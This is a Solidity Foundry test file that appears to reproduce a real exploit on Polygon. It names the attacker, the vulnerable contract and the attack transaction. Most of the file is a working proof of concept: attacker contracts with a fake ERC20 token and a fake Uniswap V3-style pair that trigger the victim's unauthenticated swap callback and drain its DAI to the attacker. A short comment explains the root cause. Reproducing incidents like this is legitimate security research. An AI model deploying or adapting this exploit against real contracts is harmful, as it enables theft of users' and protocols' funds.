src/test/2025-08/unverified_d132_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 3,131.11 DAI
7// Attacker : 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783
8// Attack Contract : 0x672321F6c952000b5f0b26952D85c98cdDd06D93
9// Vulnerable Contract : 0xd132B6e4CdB57E8E992C9b968CD4CcdDE3B0bafF
10// Attack Tx : https://polygonscan.com/tx/0xf90407e2be3834d8534869af41849f72e9fea666cd7e23bf5c52a2fc0a497a75
11//
12// @Info
13// Vulnerable Contract Code : https://polygonscan.com/address/0xd132B6e4CdB57E8E992C9b968CD4CcdDE3B0bafF#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1675
17//
18// Attack summary: The attacker supplied a fake ERC20 token and fake Uniswap V3-like pair to an unverified victim
19// entrypoint. The fake pair then forced the victim's swap callback to transfer Polygon DAI.
20// Root cause: The victim trusted attacker-supplied pair/callback data and did not authenticate a real pool before
21// paying DAI during the callback.
22 
23address constant ATTACKER = 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783;
24address constant VULNERABLE_CONTRACT = 0xd132B6e4CdB57E8E992C9b968CD4CcdDE3B0bafF;
25address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;
26 
27interface IERC20 {
28    function balanceOf(
29        address account
30    ) external view returns (uint256);
31    function transfer(
32        address to,
33        uint256 amount
34    ) external returns (bool);
35}
36 
37interface IUniswapV3SwapCallback {
38    function uniswapV3SwapCallback(
39        int256 amount0Delta,
40        int256 amount1Delta,
41        bytes calldata data
42    ) external;
43}
44 
45interface IVulnerableSwap {
46    function swapSingleToken(
47        address pair,
48        address from,
49        address token,
50        bool zeroForOne,
51        uint256 amount
52    ) external;
53}
54 
55contract ContractTest is BaseTestWithBalanceLog {
56    function setUp() public {
57        uint256 forkBlock = 75_288_028;
58        vm.createSelectFork("polygon", forkBlock);
59 
60        fundingToken = DAI;
61        attacker = ATTACKER;
62 
63        vm.label(ATTACKER, "Attacker");
64        vm.label(VULNERABLE_CONTRACT, "Vulnerable Contract");
65        vm.label(DAI, "Polygon DAI");
66    }
67 
68    function testExploit() public balanceLog {
69        uint256 attackerDaiBefore = IERC20(DAI).balanceOf(ATTACKER);
70 
71        // step 1: deploy fresh attacker-controlled helpers equivalent to the initcode-created trace contracts.
72        vm.startPrank(ATTACKER);
73        AttackHelper attackHelper = new AttackHelper(VULNERABLE_CONTRACT, DAI, ATTACKER);
74        vm.label(address(attackHelper), "Local Attack Helper");
75        vm.label(address(attackHelper.fakeToken()), "Fake Token");
76        vm.label(address(attackHelper.fakePair()), "Fake Pair");
77 
78        // step 2: trigger the unverified victim selector with the decoded fake pair/token arguments.
79        attackHelper.execute();
80        vm.stopPrank();
81 
82        // step 3: prove the victim-funded DAI reached the attacker's final receiver.
83        uint256 attackerDaiAfter = IERC20(DAI).balanceOf(ATTACKER);
84        assertGt(attackerDaiAfter - attackerDaiBefore, 3000 ether);
85    }
86}
87 
88contract AttackHelper {
89    address private immutable victim;
90    address private immutable dai;
91    address private immutable profitReceiver;
92 
93    FakeToken public immutable fakeToken;
94    FakePair public immutable fakePair;
95 
96    constructor(
97        address victim_,
98        address dai_,
99        address profitReceiver_
100    ) {
101        victim = victim_;
102        dai = dai_;
103        profitReceiver = profitReceiver_;
104 
105        fakeToken = new FakeToken(address(this));
106        fakePair = new FakePair(address(fakeToken), dai, profitReceiver);
107    }
108 
109    function execute() external {
110        uint256 fakeAmount = 1 ether;
111        fakeToken.approve(victim, fakeAmount);
112 
113        IVulnerableSwap(victim).swapSingleToken(address(fakePair), address(this), address(fakeToken), false, fakeAmount);
114    }
115}
116 
117contract FakePair {
118    address public immutable token0;
119    address public immutable token1;
120    address private immutable profitReceiver;
121 
122    constructor(
123        address token0_,
124        address token1_,
125        address profitReceiver_
126    ) {
127        token0 = token0_;
128        token1 = token1_;
129        profitReceiver = profitReceiver_;
130    }
131 
132    function swap(
133        address,
134        bool,
135        int256 amountSpecified,
136        uint160,
137        bytes calldata
138    ) external returns (int256, int256) {
139        uint256 victimDaiBalance = IERC20(token1).balanceOf(msg.sender);
140 
141        // step 3: request the victim's DAI during the callback, matching the trace's pair-controlled callback.
142        IUniswapV3SwapCallback(msg.sender)
143            .uniswapV3SwapCallback(int256(victimDaiBalance), -amountSpecified, abi.encode(token1));
144 
145        uint256 receivedDai = IERC20(token1).balanceOf(address(this));
146        IERC20(token1).transfer(profitReceiver, receivedDai);
147 
148        return (0, 0);
149    }
150}
151 
152contract FakeToken {
153    string public constant name = "FK";
154    string public constant symbol = "Fake";
155    uint8 public constant decimals = 18;
156    uint256 public totalSupply;
157 
158    mapping(address => uint256) public balanceOf;
159    mapping(address => mapping(address => uint256)) public allowance;
160 
161    constructor(
162        address holder
163    ) {
164        totalSupply = 1 ether;
165        balanceOf[holder] = totalSupply;
166    }
167 
168    function approve(
169        address spender,
170        uint256 amount
171    ) external returns (bool) {
172        allowance[msg.sender][spender] = amount;
173        return true;
174    }
175 
176    function transfer(
177        address to,
178        uint256 amount
179    ) external returns (bool) {
180        _transfer(msg.sender, to, amount);
181        return true;
182    }
183 
184    function transferFrom(
185        address from,
186        address to,
187        uint256 amount
188    ) external returns (bool) {
189        uint256 approved = allowance[from][msg.sender];
190        if (approved != type(uint256).max) {
191            allowance[from][msg.sender] = approved - amount;
192        }
193 
194        _transfer(from, to, amount);
195        return true;
196    }
197 
198    function _transfer(
199        address from,
200        address to,
201        uint256 amount
202    ) private {
203        balanceOf[from] -= amount;
204        balanceOf[to] += amount;
205    }
206}